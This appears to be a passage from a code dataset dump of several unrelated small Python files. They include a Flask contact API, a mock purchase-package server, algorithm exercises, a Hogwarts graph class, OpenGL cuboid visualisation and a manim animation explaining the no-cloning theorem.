row[0].split(\",\");\r\n \r\n if(not items[1] == \"NA\" and not items[2]==\"NA\"):\r\n sulf_vect.append(float(items[1]))\r\n nit_vect.append(float(items[2]))\r\n \r\n c= np.corrcoef(sulf_vect, nit_vect)\r\n c= c[0][1]\r\n c = float(\"{0:.5f}\".format(c))\r\n\r\n corrVect.append(c) \r\n \r\n print(corrVect[:6])\r\n \r\n \r\nif __name__=='__main__':\r\n main()\r\n \r\n\r\n","repo_name":"MMaazT/Genome-Sequencing","sub_path":"corr.py","file_name":"corr.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"24354879636","text":"from flask import Flask, jsonify, request\nfrom peewee import *\nfrom playhouse.shortcuts import model_to_dict, dict_to_model\n\ndb = PostgresqlDatabase(\"contact-book\", user=\"\", password=\"\", host=\"localhost\", port=5432)\n\nclass BaseModel(Model):\n class Meta:\n database = db\n\nclass Contact(BaseModel):\n name = CharField()\n phone_number = BigIntegerField()\n\ndb.connect()\ndb.drop_tables([Contact])\ndb.create_tables([Contact])\n\nContact(name=\"Nichole\", phone_number=3475555555).save()\nContact(name=\"James\", phone_number=7185555555).save()\nContact(name=\"Nicholas\", phone_number=2125555555).save()\n\napp = Flask(__name__)\n\n@app.route('/person/', methods=['GET', 'POST'])\n@app.route('/person/', methods=['GET', 'PUT', 'DELETE'])\ndef endpoint(id=None):\n if request.method == 'GET':\n if id:\n return jsonify(model_to_dict(Contact.get(id)))\n else:\n peopleList = []\n for person in Contact.select():\n peopleList.append(model_to_dict(person))\n return jsonify(peopleList)\n\n if request.method == 'PUT':\n body = request.get_json()\n Contact.update(body).where(Contact.id == id).execute()\n return \"Person \" + str(id) + \" has been updated!\"\n\n if request.method == 'POST':\n body = request.get_json()\n new_person = dict_to_model(Contact, body)\n new_person.save()\n return jsonify({\"success\": True})\n\n if request.method == 'DELETE':\n Contact.delete().where(Contact.id == id).execute()\n return \"Contact \" + str(id) + \" has been deleted.\"\n\napp.run(debug=True, port=9000)","repo_name":"Nicholedlrosa/flask-contact-api","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40726822199","text":"import math\nfrom sys import stdin\ninput = stdin.readline\n\nwhile True:\n n = int(input())\n if(n == 0):\n break\n prime = set([i for i in range(n + 1, 2 * n + 1)])\n prime.discard(1) #1 안전하게 지우기\n\n for i in range(2, int(math.sqrt(2 * n)) + 1):\n j = 2\n while(i * j <= 2 * n):\n prime.discard(i * j)\n j += 1\n print(len(prime))","repo_name":"pgh268400/BaekJoon_OnlineJudge","sub_path":"Problem_Solve(2)/4948.py","file_name":"4948.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"45022792618","text":"import flask\nimport json\nserver=flask.Flask(__name__)\n\n\n\n@server.route('/purchasePackageList',methods=['post'])\ndef index():\n res={\n \"code\":200,\n \"msg\":\"成功\",\n \"data\":{\n \"pageNum\":1,\n \"pageSize\":50,\n \"size\":1,\n \"startRow\":1,\n \"endRow\":1,\n \"total\":1,\n \"pages\":1,\n \"list\":[\n {\n \"packageID\":25902173,\n # \"packageCode\":\"PPL-20210702-902173\",\n \"packageCode\":\"PPL-20220216-609062\",\n \"purchaseItemID\":\"35292921\",\n \"purchaseCode\":\"PON-6-20210702-686050\",\n \"productID\":2402506,\n \"propertyID\":8725736,\n \"productCode\":\"POA8701175\",\n \"purchaseCenterID\":1150,\n \"processCenterID\":1208,\n \"supplierID\":315390,\n \"arrivalPrice\":18,\n \"quantity\":15,\n \"prePrice\":18,\n \"preQuantity\":1,\n \"printState\":0,\n \"status\":7,\n \"trackingNo\":None,\n \"isDrawback\":0,\n \"remark\":\"【OA-审单(手动审单以及自动审单-FBH代发自动生成PPL)】: \",\n \"createUserID\":9758,\n \"createTime\":\"2021-07-02 16:39:19\",\n \"lastUpdateUserID\":50561,\n \"lastUpdateTime\":\"2021-07-12 19:00:18\",\n \"purchaseUser\":51442,\n \"speed\":1,\n \"inStorePrice\":18,\n \"consignTime\":\"2021-07-09\",\n \"logisticsCompany\":None,\n \"waybillNumber\":\"不需要物流\",\n \"addUser\":50544,\n \"sku\":\"SKUH91711\",\n \"poa\":\"POA8701175\",\n \"zmgz\":None\n },{\n \"packageID\":186609061,\n \"packageCode\":\"PPL-20220215-609061\",\n \"purchaseItemID\":\"296615106\",\n \"purchaseCode\":\"PON-6-20210702-686050\",\n \"productID\":2402506,\n \"propertyID\":8725736,\n \"productCode\":\"POA8701175\",\n \"purchaseCenterID\":1150,\n \"processCenterID\":1208,\n \"supplierID\":315390,\n \"arrivalPrice\":18,\n \"quantity\":15,\n \"prePrice\":18,\n \"preQuantity\":1,\n \"printState\":0,\n \"status\":7,\n \"trackingNo\":None,\n \"isDrawback\":0,\n \"remark\":\"【OA-审单(手动审单以及自动审单-FBH代发自动生成PPL)】: \",\n \"createUserID\":9758,\n \"createTime\":\"2021-07-02 16:39:19\",\n \"lastUpdateUserID\":50561,\n \"lastUpdateTime\":\"2021-07-12 19:00:18\",\n \"purchaseUser\":51442,\n \"speed\":1,\n \"inStorePrice\":18,\n \"consignTime\":\"2021-07-09\",\n \"logisticsCompany\":None,\n \"waybillNumber\":\"不需要物流\",\n \"addUser\":50544,\n \"sku\":\"SKUH91711\",\n \"poa\":\"POA8701175\",\n \"zmgz\":None\n }\n ],\n \"prePage\":0,\n \"nextPage\":0,\n \"isFirstPage\":True,\n \"isLastPage\":True,\n \"hasPreviousPage\":False,\n \"hasNextPage\":False,\n \"navigatePages\":8,\n \"navigatepageNums\":[\n 1\n ],\n \"navigateFirstPage\":1,\n \"navigateLastPage\":1,\n \"firstPage\":1,\n \"lastPage\":1\n }\n }\n\n\n return json.dumps(res, ensure_ascii=False), {'Content-Type': 'application/json; charset=utf-8'}\n # return json.dumps(res,ensure_ascii=False)\n\n\nif __name__ == \"__main__\":\n server.run(port=9113, debug=True, host='0.0.0.0')\n # http://127.0.0.1:9113/","repo_name":"714866/banggood_request_test","sub_path":"GYM/purchasePackageInStock.py","file_name":"purchasePackageInStock.py","file_ext":"py","file_size_in_byte":4160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30430112901","text":"from __future__ import division\nimport numpy\n\nysize = 10\nxsize = 16\nmat2d = numpy.arange(ysize * xsize, dtype=\"uintc\").reshape(ysize, xsize)\n\nx = 5\nmat2d[0:5, 2:6] = 50\n\ncoords = [3.5, 1.5]\n\nimport matplotlib.pyplot as plt\n\nplt.suptitle(\"this is the figure title\", fontsize=12)\nplt.imshow(numpy.transpose(mat2d), interpolation=\"nearest\")\n\nini_x = ini_y = -0.5\nend_y = xsize - 0.5\nend_x = ysize - 0.5\n\ncoords[0] = coords[0] - 0.5\ncoords[1] = coords[1] - 0.5\n\nx_lin_from = (ini_x + coords[0]) / 2.0\ny_lin_from = (ini_y + coords[1]) / 2.0\n\nx_lin_to = (coords[0] + end_x) / 2.0\ny_lin_to = (coords[1] + end_y) / 2.0\n\nplt.vlines(coords[0], y_lin_from, y_lin_to)\nplt.hlines(coords[1], x_lin_from, x_lin_to)\n\n# plt.vlines(coords[0] - 0.5, ini_x, end_x)\n# plt.hlines(coords[1] - 0.5, ini_y, end_y)\n\nplt.show()\nplt.close()\n","repo_name":"dials/dials_scratch","sub_path":"luiso_s/test_code/matrix_test_w_matplotlib.py","file_name":"matrix_test_w_matplotlib.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"69865922775","text":"import sys\nfrom collections import deque\ninput = sys.stdin.readline\n\nN, M, T = map(int, input().split())\ngraph = [deque(list(map(int, input().split()))) for _ in range(N)]\ncommand = []\nfor _ in range(T):\n xi, di, ki = map(int, input().split())\n command.append((xi, di, ki))\n\n\ndef cycle(x, d, k):\n for i in range(x-1, N, x):\n if d == 0: \n graph[i].rotate(k)\n elif d == 1:\n graph[i].rotate(-k)\n\ndef update():\n sum = 0\n cnt = 0\n for i in range(N):\n for j in range(M):\n sum += graph[i][j]\n if graph[i][j] != 0:\n cnt += 1\n if cnt == 0:\n return False\n average = sum / cnt\n\n for i in range(N):\n for j in range(M):\n if 0 < graph[i][j] < average: \n graph[i][j] += 1\n elif graph[i][j] > average: \n graph[i][j] -= 1\n return True\n\ndef bfs(a, b, visited):\n q = deque([ (a, b) ])\n v = graph[a][b]\n cnt = 0\n while q:\n r, c = q.popleft()\n visited[r][c] = 1\n\n for i in range(4):\n nr = r + dr[i]\n nc = (c + dc[i]) % M\n if nr < 0 or nr >= N or visited[nr][nc]: \n continue\n if graph[nr][nc] != 0 and graph[nr][nc] == v:\n cnt += 1\n graph[nr][nc] = 0\n visited[nr][nc] = 1\n q.append((nr, nc))\n if cnt > 0 :\n graph[a][b] = 0\n return True\n return False\n \n\ndef delete():\n visited = [[0] * M for _ in range(N)]\n delete_flag = 0\n for i in range(N):\n for j in range(M):\n if bfs(i, j, visited):\n delete_flag = 1\n if not delete_flag:\n return update()\n return True\n\ndr = [1, -1, 0, 0]\ndc = [0, 0, 1, -1]\n\nfor x, d, k in command:\n cycle(x, d, k)\n if not delete():\n break\n\nresult = 0\nfor i in range(N):\n result += sum(graph[i])\nprint(result)\n","repo_name":"eun-byeol/algorithm","sub_path":"python/implementation/원판_돌리기.py","file_name":"원판_돌리기.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22622689108","text":"class Node():\n \"\"\"Node in a graph.\"\"\"\n\n def __init__(self, data, adjacent=None):\n self.data = data\n if adjacent:\n self.adjacent = adjacent\n else:\n self.adjacent = set()\n\n def __repr__(self):\n return f'{self.data}'\n\n\nclass Graph():\n def __init__(self):\n self.nodes = set()\n\n def add_node(self, node):\n \"\"\"\n Adds a node to the graph.\n \"\"\"\n self.nodes.add(node)\n\n def add_connection(self, node1, node2):\n \"\"\"\n Adds a connection between 2 existing nodes.\n \"\"\"\n node1.adjacent.add(node2)\n node2.adjacent.add(node1)\n\n def print_groups(self):\n \"\"\"\n Prints all groups of connected nodes in the graph (without repeats).\n \"\"\"\n\n seen = set()\n groups = []\n to_visit = []\n\n for node in self.nodes:\n\n if node not in seen:\n group = set()\n seen.add(node)\n group.add(node)\n to_visit.extend(node.adjacent)\n\n while to_visit:\n connection = to_visit.pop()\n\n if connection not in seen:\n seen.add(connection)\n group.add(connection)\n to_visit.extend(connection.adjacent)\n\n groups.append(group)\n\n print('Groups in Hogwarts:')\n for group in groups:\n print('-', group)\n\n def are_connected(self, node1, node2):\n \"\"\"\n Returns True if two nodes are connected and False if they are not.\n Breadth-first search.\n \"\"\"\n to_visit = []\n seen = set()\n to_visit.append(node1)\n seen.add(node1)\n\n while to_visit:\n current = to_visit.pop(0)\n if current == node2:\n return True\n else:\n for connection in current.adjacent:\n if connection not in seen:\n to_visit.append(connection)\n seen.add(connection)\n return False\n\n def are_connected_rec(self, node1, node2):\n \"\"\"\n Returns True if two nodes are connected and False if they are not.\n Recursive search.\n \"\"\"\n pass\n\n def is_well_formed(self):\n \"\"\"\n Verifies that all node connections in an undirected graph are\n bi-directional.\n \"\"\"\n for node in self.nodes:\n for connection in node.adjacent:\n if node not in connection.adjacent:\n return False\n return True\n\n\n# set up graph, nodes, and connections\nhogwarts = Graph()\n\n# group one\nharry = Node('Harry')\nhermione = Node('Hermione')\nron = Node('Ron')\nlavender = Node('Lavender')\n\nhogwarts.add_node(harry)\nhogwarts.add_node(hermione)\nhogwarts.add_node(ron)\nhogwarts.add_node(lavender)\n\nhogwarts.add_connection(harry, hermione)\nhogwarts.add_connection(harry, ron)\nhogwarts.add_connection(hermione, ron)\nhogwarts.add_connection(ron, lavender)\n\n# group two\nnick = Node('Nearly Headless Nick')\nbaron = Node('Bloody Baron')\nlady = Node('Grey Lady')\nmyrtle = Node('Moaning Myrtle')\n\nhogwarts.add_node(nick)\nhogwarts.add_node(baron)\nhogwarts.add_node(lady)\n\nhogwarts.add_connection(nick, baron)\nhogwarts.add_connection(nick, lady)\nhogwarts.add_connection(baron, lady)\nhogwarts.add_connection(lady, myrtle)\n\n# call graph methods\nhogwarts.print_groups()\n\nif hogwarts.are_connected(nick, myrtle):\n print(f'{nick} and {myrtle} are connected!')\nelse:\n print(f'{nick} and {myrtle} aren\\'t connected.')\n\nif hogwarts.are_connected(lady, hermione):\n print(f'{lady} and {hermione} are connected!')\nelse:\n print(f'{lady} and {hermione} aren\\'t connected.')\n\nif hogwarts.is_well_formed():\n print('Hogwarts is a well-formed graph!')\nelse:\n print('Hogwarts is not a well-formed graph.')\n\n\n\n\n","repo_name":"mearajennifer/hogwarts-graphs","sub_path":"hogwarts-graph.py","file_name":"hogwarts-graph.py","file_ext":"py","file_size_in_byte":3885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30904020966","text":"import uuid\nfrom sqlalchemy import Column, String, ForeignKey, \\\n UniqueConstraint, and_, Integer, Enum\n\nfrom healthify.models.configure import (Model, CREATED_ON_WITH_SERVER_DEFAULT, TIMESTAMP,\n DELETED_ON, NAME_NULLABLE_FALSE, USER_ID_FOREIGN_KEY, CHANNEL_ID_FOREIGN_KEY)\n\n__author__ = 'rahul'\n\n\nclass Channel(Model):\n __tablename__ = 'channel'\n\n id = Column(String(36), primary_key=True, default=str(uuid.uuid4()))\n\n name = NAME_NULLABLE_FALSE.copy()\n created_by = USER_ID_FOREIGN_KEY.copy()\n type = Column(Enum('private', 'public', name='channel_types'))\n\n created_on = CREATED_ON_WITH_SERVER_DEFAULT.copy()\n deleted_on = DELETED_ON.copy()\n\n\nclass ChannelJoinRequest(Model):\n __tablename__ = 'channel_join_request'\n\n id = Column(String(36), primary_key=True, default=str(uuid.uuid4()))\n\n requested_by = USER_ID_FOREIGN_KEY.copy()\n requested_for = Column(String(63), nullable=False)\n channel_id = CHANNEL_ID_FOREIGN_KEY.copy()\n accepted_on = TIMESTAMP.copy()\n rejected_on = TIMESTAMP.copy()\n\n created_on = CREATED_ON_WITH_SERVER_DEFAULT.copy()\n deleted_on = DELETED_ON.copy()","repo_name":"Rahul91/Real-Time-Chat-App","sub_path":"backend/healthify/models/channel.py","file_name":"channel.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"15059665482","text":"from pyrr import Quaternion, Matrix44, Vector3, euler\nimport numpy as np\nfrom pyglet.gl import *\nfrom ctypes import *\n\nfrom .scene_object import *\nfrom nvdu.core.cuboid import *\n\n# ========================= Cuboid3d =========================\n# TODO: Should merge Cuboid and Box3d\nclass Cuboid3dViz(SceneObjectViz3d):\n # Create a box with a certain size\n def __init__(self, cuboid3d, in_color=None):\n super(Cuboid3dViz, self).__init__(cuboid3d)\n self.cuboid3d = cuboid3d\n self.vertices = self.cuboid3d.get_vertices()\n\n self.render_line = True\n self.color = in_color\n self.face_alpha = 128\n # self.render_line = False\n\n self.generate_vertex_buffer()\n\n def generate_vertex_buffer(self):\n self.vertices_gl = []\n for i in range(0, CuboidVertexType.TotalCornerVertexCount):\n self.vertices_gl.append(self.vertices[i][0])\n self.vertices_gl.append(self.vertices[i][1])\n self.vertices_gl.append(self.vertices[i][2])\n\n # List of color for each vertices of the box\n if (self.color is None):\n self.colors_gl = [\n 0, 0, 255, 255, # Front Top Right\n 0, 0, 255, 255, # Front Top Left\n 255, 0, 255, 255, # Front Bottom Left\n 255, 0, 255, 255, # Front Bottom Right\n 0, 255, 0, 255, # Rear Top Right\n 0, 255, 0, 255, # Rear Top Left\n 255, 255, 0, 255, # Rear Bottom Left\n 255, 255, 0, 255, # Rear Bottom Right\n ]\n else:\n self.colors_gl = []\n for i in range(0, CuboidVertexType.TotalCornerVertexCount):\n for color_channel in self.color:\n self.colors_gl.append(color_channel)\n\n # Reduce the alpha of the vertex colors when we rendering triangles\n self.colors_tri_gl = list(int(color / 4) for color in self.colors_gl)\n\n cvt = CuboidVertexType\n # Counter-Clockwise order triangle indices\n self.indices_tri_gl = [\n # Front face\n cvt.FrontBottomLeft, cvt.FrontTopLeft, cvt.FrontTopRight,\n cvt.FrontTopRight, cvt.FrontBottomRight, cvt.FrontBottomLeft,\n # Right face\n cvt.FrontBottomRight, cvt.FrontTopRight, cvt.RearBottomRight,\n cvt.RearTopRight, cvt.RearBottomRight, cvt.FrontTopRight,\n # Back face\n cvt.RearBottomLeft, cvt.RearBottomRight, cvt.RearTopRight,\n cvt.RearTopRight, cvt.RearTopLeft, cvt.RearBottomLeft,\n # Left face\n cvt.FrontTopLeft, cvt.FrontBottomLeft, cvt.RearBottomLeft,\n cvt.RearBottomLeft, cvt.RearTopLeft, cvt.FrontTopLeft,\n # Top face\n cvt.RearTopLeft, cvt.RearTopRight, cvt.FrontTopRight,\n cvt.FrontTopRight, cvt.FrontTopLeft, cvt.RearTopLeft,\n # Bottom face\n cvt.RearBottomLeft, cvt.FrontBottomLeft, cvt.FrontBottomRight,\n cvt.FrontBottomRight, cvt.RearBottomRight, cvt.RearBottomLeft,\n ]\n self.indices_line_gl = np.array(CuboidLineIndexes).flatten()\n # print(\"indices_line_gl: {}\".format(self.indices_line_gl))\n\n self.indices_point_gl = list(range(0, len(self.vertices)))\n # print('indices_point_gl: {}'.format(self.indices_point_gl))\n\n self.vertex_gl_array = (GLfloat* len(self.vertices_gl))(*self.vertices_gl)\n self.color_gl_array = (GLubyte* len(self.colors_gl))(*self.colors_gl)\n self.colors_tri_gl_array = (GLubyte* len(self.colors_tri_gl))(*self.colors_tri_gl)\n self.indices_tri_gl_array = (GLubyte* len(self.indices_tri_gl))(*self.indices_tri_gl)\n self.indices_line_gl_array = (GLubyte* len(self.indices_line_gl))(*self.indices_line_gl)\n self.indices_point_gl_array = (GLubyte* len(self.indices_point_gl))(*self.indices_point_gl)\n\n def on_draw(self):\n super(Cuboid3dViz, self).on_draw()\n # print('Cuboid3dViz - on_draw - vertices: {}'.format(self.vertices))\n\n glEnableClientState(GL_VERTEX_ARRAY)\n glEnableClientState(GL_COLOR_ARRAY)\n # glEnable(GL_POLYGON_SMOOTH)\n\n glPolygonMode(GL_FRONT_AND_BACK, RenderMode.normal)\n\n glVertexPointer(3, GL_FLOAT, 0, self.vertex_gl_array)\n \n # Render each faces of the cuboid\n glColorPointer(4, GL_UNSIGNED_BYTE, 0, self.colors_tri_gl_array)\n glDrawElements(GL_TRIANGLES, len(self.indices_tri_gl), GL_UNSIGNED_BYTE, self.indices_tri_gl_array)\n\n # Render each edge lines\n glEnable(GL_LINE_SMOOTH)\n glLineWidth(3.0)\n glColorPointer(4, GL_UNSIGNED_BYTE, 0, self.color_gl_array)\n # TODO: May want to use GL_LINE_STRIP or GL_LINE_LOOP\n glDrawElements(GL_LINES, len(self.indices_line_gl), GL_UNSIGNED_BYTE, self.indices_line_gl_array)\n glDisable(GL_LINE_SMOOTH)\n\n # Render each corner vertices in POINTS mode\n glPointSize(10.0)\n glDrawElements(GL_POINTS, len(self.indices_point_gl_array), GL_UNSIGNED_BYTE, self.indices_point_gl_array)\n glPointSize(1.0)\n \n # Deactivate vertex arrays after drawing\n glDisableClientState(GL_VERTEX_ARRAY)\n glDisableClientState(GL_COLOR_ARRAY)\n # glDisable(GL_POLYGON_SMOOTH)\n\n# ========================= Cuboid2d =========================\nclass Cuboid2dViz(SceneObjectVizBase):\n # Create a box with a certain size\n def __init__(self, cuboid2d, in_color=None):\n super(Cuboid2dViz, self).__init__(cuboid2d)\n self.cuboid2d = cuboid2d\n self.color = in_color\n if not (self.cuboid2d is None):\n self.vertices = self.cuboid2d.get_vertices()\n self.generate_vertexes_buffer()\n # self.render_line = False\n\n def generate_vertexes_buffer(self):\n self.vertices_gl = []\n max_vertex_count = min(CuboidVertexType.TotalVertexCount, len(self.vertices))\n for i in range(0, max_vertex_count):\n vertex = self.vertices[i]\n if (not vertex is None):\n self.vertices_gl.append(self.vertices[i][0])\n self.vertices_gl.append(self.vertices[i][1])\n else:\n self.vertices_gl.append(0.0)\n self.vertices_gl.append(0.0)\n \n # List of color for each vertices of the box\n self.vertex_colors_gl = [\n 0, 0, 255, 255, # Front Top Right\n 0, 0, 255, 255, # Front Top Left\n 255, 0, 255, 255, # Front Bottom Left\n 255, 0, 255, 255, # Front Bottom Right\n 0, 255, 0, 255, # Rear Top Right\n 0, 255, 0, 255, # Rear Top Left\n 255, 255, 0, 255, # Rear Bottom Left\n 255, 255, 0, 255, # Rear Bottom Right\n ]\n\n # List of color for each vertices of the box\n if (self.color is None):\n self.edge_colors_gl = self.vertex_colors_gl\n else:\n self.edge_colors_gl = []\n for i in range(0, CuboidVertexType.TotalCornerVertexCount):\n for color_channel in self.color:\n self.edge_colors_gl.append(color_channel)\n\n # NOTE: Only add valid lines:\n self.indices_line_gl = []\n for line in CuboidLineIndexes:\n vi0, vi1 = line\n v0 = self.vertices[vi0]\n v1 = self.vertices[vi1]\n if not (v0 is None) and not (v1 is None):\n self.indices_line_gl.append(vi0)\n self.indices_line_gl.append(vi1)\n # print('indices_line_gl: {}'.format(self.indices_line_gl))\n\n # self.indices_line_gl = [\n # # Front face\n # cvt.FrontTopLeft, cvt.FrontTopRight,\n # cvt.FrontTopRight, cvt.FrontBottomRight,\n # cvt.FrontBottomRight, cvt.FrontBottomLeft,\n # cvt.FrontBottomLeft, cvt.FrontTopLeft,\n # # Back face\n # cvt.RearTopLeft, cvt.RearTopRight,\n # cvt.RearTopRight, cvt.RearBottomRight,\n # cvt.RearBottomRight, cvt.RearBottomLeft,\n # cvt.RearBottomLeft, cvt.RearTopLeft,\n # # Left face\n # cvt.FrontBottomLeft, cvt.RearBottomLeft,\n # cvt.FrontTopLeft, cvt.RearTopLeft,\n # # Right face\n # cvt.FrontBottomRight, cvt.RearBottomRight,\n # cvt.FrontTopRight, cvt.RearTopRight,\n # ]\n\n # self.indices_point_gl = list(i for i in range(0, len(self.vertices)))\n # NOTE: Only add valid points:\n self.indices_point_gl = []\n for i in range (len(self.vertices)):\n if (not self.vertices[i] is None):\n self.indices_point_gl.append(i)\n # print('indices_point_gl: {}'.format(self.indices_point_gl))\n\n self.vertex_gl_array = (GLfloat* len(self.vertices_gl))(*self.vertices_gl)\n self.vertex_color_gl_array = (GLubyte* len(self.vertex_colors_gl))(*self.vertex_colors_gl)\n self.edge_colors_gl_array = (GLubyte* len(self.edge_colors_gl))(*self.edge_colors_gl)\n self.indices_line_gl_array = (GLubyte* len(self.indices_line_gl))(*self.indices_line_gl)\n self.indices_point_gl_array = (GLubyte* len(self.indices_point_gl))(*self.indices_point_gl)\n\n def on_draw(self):\n if (self.cuboid2d is None):\n return\n\n super(Cuboid2dViz, self).on_draw()\n # print('Cuboid2dViz - on_draw - vertices: {}'.format(self.vertices))\n\n glEnableClientState(GL_VERTEX_ARRAY)\n glEnableClientState(GL_COLOR_ARRAY)\n # glEnable(GL_POLYGON_SMOOTH)\n\n glPolygonMode(GL_FRONT_AND_BACK, RenderMode.normal)\n\n glVertexPointer(2, GL_FLOAT, 0, self.vertex_gl_array)\n\n glEnable(GL_LINE_SMOOTH)\n glLineWidth(3.0)\n glColorPointer(4, GL_UNSIGNED_BYTE, 0, self.edge_colors_gl_array)\n # TODO: May want to use GL_LINE_STRIP or GL_LINE_LOOP\n glDrawElements(GL_LINES, len(self.indices_line_gl), GL_UNSIGNED_BYTE, self.indices_line_gl_array)\n glDisable(GL_LINE_SMOOTH)\n\n glColorPointer(4, GL_UNSIGNED_BYTE, 0, self.vertex_color_gl_array)\n glPointSize(10.0)\n glDrawElements(GL_POINTS, len(self.indices_point_gl_array), GL_UNSIGNED_BYTE, self.indices_point_gl_array)\n glPointSize(1.0)\n \n # Deactivate vertex arrays after drawing\n glDisableClientState(GL_VERTEX_ARRAY)\n glDisableClientState(GL_COLOR_ARRAY)\n # glDisable(GL_POLYGON_SMOOTH)\n","repo_name":"NVIDIA/Dataset_Utilities","sub_path":"nvdu/viz/cuboid.py","file_name":"cuboid.py","file_ext":"py","file_size_in_byte":10464,"program_lang":"python","lang":"en","doc_type":"code","stars":122,"dataset":"github-code","pt":"67"} +{"seq_id":"12603988546","text":"from manimlib import *\nimport numpy as np\nimport random\n\nclass FirstScene(Scene):\n\tdef construct(self):\n\t\ttext = Text(\"No Cloning Theorem, Forking\").scale(0.7)\n\t\tself.play(FadeIn(text))\n\t\tself.wait(3)\n\nclass clone(Scene):\n\tdef construct(self):\n\t\ttext = Text(\"No Cloning Theorem, Forking\").scale(1.1)\n\t\tself.play(FadeIn(text))\n\t\tself.wait(3)\n\t\tself.play(FadeOut(text))\n\n\n\t\ttitle = Text(\"No Cloning Theorem\").shift(UP*3.5)\n\t\tself.play(FadeIn(title))\n\t\ttheorem = Tex(r\"\\text{There is no Unitary Operator U s.t } U\\ket{a}\\ket{b} = \\ket{a}\\ket{a}\").shift(DOWN*3.5)\n\t\tself.play(FadeIn(theorem))\n\t\tself.wait(3)\n\t\tassumption = Tex(r\"\\text{Assume arbituary } \\ket{\\psi} \\text { and } \\ket{\\phi}\").scale(0.9).shift(UP*2.75)\n\t\tself.play(FadeIn(assumption))\n\t\tself.wait(3)\n\t\ttruth = Tex(r\"U\\ket{\\phi}\\ket{0} = \\ket{\\phi}\\ket{\\phi}\").shift(UP*2)\n\t\ttruth2 = Tex(r\"U\\ket{\\psi}\\ket{0} = \\ket{\\psi}\\ket{\\psi}\").shift(UP*1.25)\n\t\tself.play(FadeIn(truth), FadeIn(truth2))\n\t\tself.wait(3)\n\t\titsun = Tex(r\"\\bra{\\phi}\\ket{\\psi} = (\\bra{\\phi}\\bra{0})(\\ket{\\psi}\\ket{0})\").shift(UP*0.5)\n\t\tself.play(FadeIn(itsun))\n\t\tself.wait(3)\n\t\titsun2 = Tex(r\"\\bra{\\phi}\\ket{\\psi} = (\\bra{\\phi}\\bra{0})U^\\dag U(\\ket{\\psi}\\ket{0})\").shift(DOWN*0.25)\n\t\tself.play(FadeIn(itsun2))\n\t\tself.wait(3)\n\t\titsun3 = Tex(r\"\\bra{\\phi}\\ket{\\psi} = (\\bra{\\phi}\\bra{\\phi})(\\ket{\\psi}\\ket{\\psi})\").shift(DOWN*1)\n\t\tself.play(FadeIn(itsun3))\n\t\tself.wait(3)\n\t\titsun4 = Tex(r\"\\bra{\\phi}\\ket{\\psi} = (\\bra{\\phi}\\ket{\\psi})^2\").shift(DOWN*1.75)\n\t\tself.play(FadeIn(itsun4))\n\t\tself.wait(3)\n\t\titsun5 = Tex(r\"\\ket{\\psi} = \\ket{\\phi} \\ \\ \\ \\ \\ \\bra{\\phi}\\ket{\\psi} = 0\").shift(DOWN*2.5)\n\t\tself.play(FadeIn(itsun5))\n\t\tself.wait(3)\n\t\titsnay = SurroundingRectangle(assumption)\n\t\tself.play(ShowCreation(itsnay))\n\t\tgrouper = Group(theorem, assumption, truth2, truth, itsun, itsun2, itsun3, itsun4, itsun5, itsnay)\n\t\tself.play(FadeOut(grouper))\n\n\t\treality = Text(\"You can only clone orthogonal states\").shift(UP*0.5)\n\t\tre2 = Tex(r\"\\ket{10} \\to \\ket{11} \").shift(DOWN*0.5)\n\t\ttg = Group(reality, re2)\n\t\tself.play(FadeIn(tg))\n\t\tself.wait(8)\n\t\tself.play(FadeOut(tg))\n\n\t\t#forking\n\t\ttitle2 = Text(\"Forking\").shift(UP*3.5)\n\t\tself.play(Transform(title, title2))\n\n\t\tx = -5\n\t\ty = 0\n\t\tdef update_dot1(self):\n\t\t\tself.become(Dot(np.array([x,y,0]),fill_color=BLUE))\n\t\tdef update_dot2(self):\n\t\t\tself.become(Dot(np.array([x,-y,0]),fill_color=BLUE))\n\t\telectron1 = Dot(np.array([x,y,0]),fill_color=BLUE).add_updater(update_dot1)\n\t\telectron2 = Dot(np.array([x,-y,0]),fill_color=BLUE).add_updater(update_dot2)\n\t\tl1 = Line(np.array([-5, 0, 0]), np.array([0, 0, 0]))\n\t\tl2 = Line(np.array([0, 0, 0]), np.array([5, 2.5, 0]))\n\t\tl3 = Line(np.array([0, 0, 0]), np.array([5, -2.5, 0]))\n\n\n\t\tregisters = Rectangle(height=1.5, fill_color=YELLOW, color=YELLOW, fill_opacity=1)\n\t\tregistert = Text(\"Register\").set_color(BLACK)\n\t\tregister = Group(registers, registert)\n\t\tregister.shift(RIGHT*4.5 + UP*2.5)\n\n\t\tALUs = Rectangle(height=1.5, fill_color=YELLOW, color=YELLOW, fill_opacity=1)\n\t\tALUt = Text(\"ALU\").set_color(BLACK)\n\t\tALU = Group(ALUs, ALUt)\n\t\tALU.shift(RIGHT*4.5 + DOWN*2.5)\n\n\n\t\titsallthesame = Group(l1, l2, l3, register, ALU, electron1, electron2)\n\t\tself.play(FadeIn(itsallthesame))\n\t\tself.wait(2)\n\n\t\twhile (x < 0):\n\t\t\tx += 0.05\n\t\t\tself.wait(0.001)\n\n\t\twhile (x < 5):\n\t\t\tx += 0.05\n\t\t\ty += 0.025\n\t\t\tself.wait(0.001)\n\t\tx = -5\n\t\ty = 0\n\t\twhile (x < 0):\n\t\t\tx += 0.05\n\t\t\tself.wait(0.001)\n\n\t\twhile (x < 5):\n\t\t\tx += 0.05\n\t\t\ty += 0.025\n\t\t\tself.wait(0.001)\n\n\n\t\tx = -5\n\t\ty = 0\n\t\twhile (x < 0):\n\t\t\tx += 0.05\n\t\t\tself.wait(0.001)\n\n\t\twhile (x < 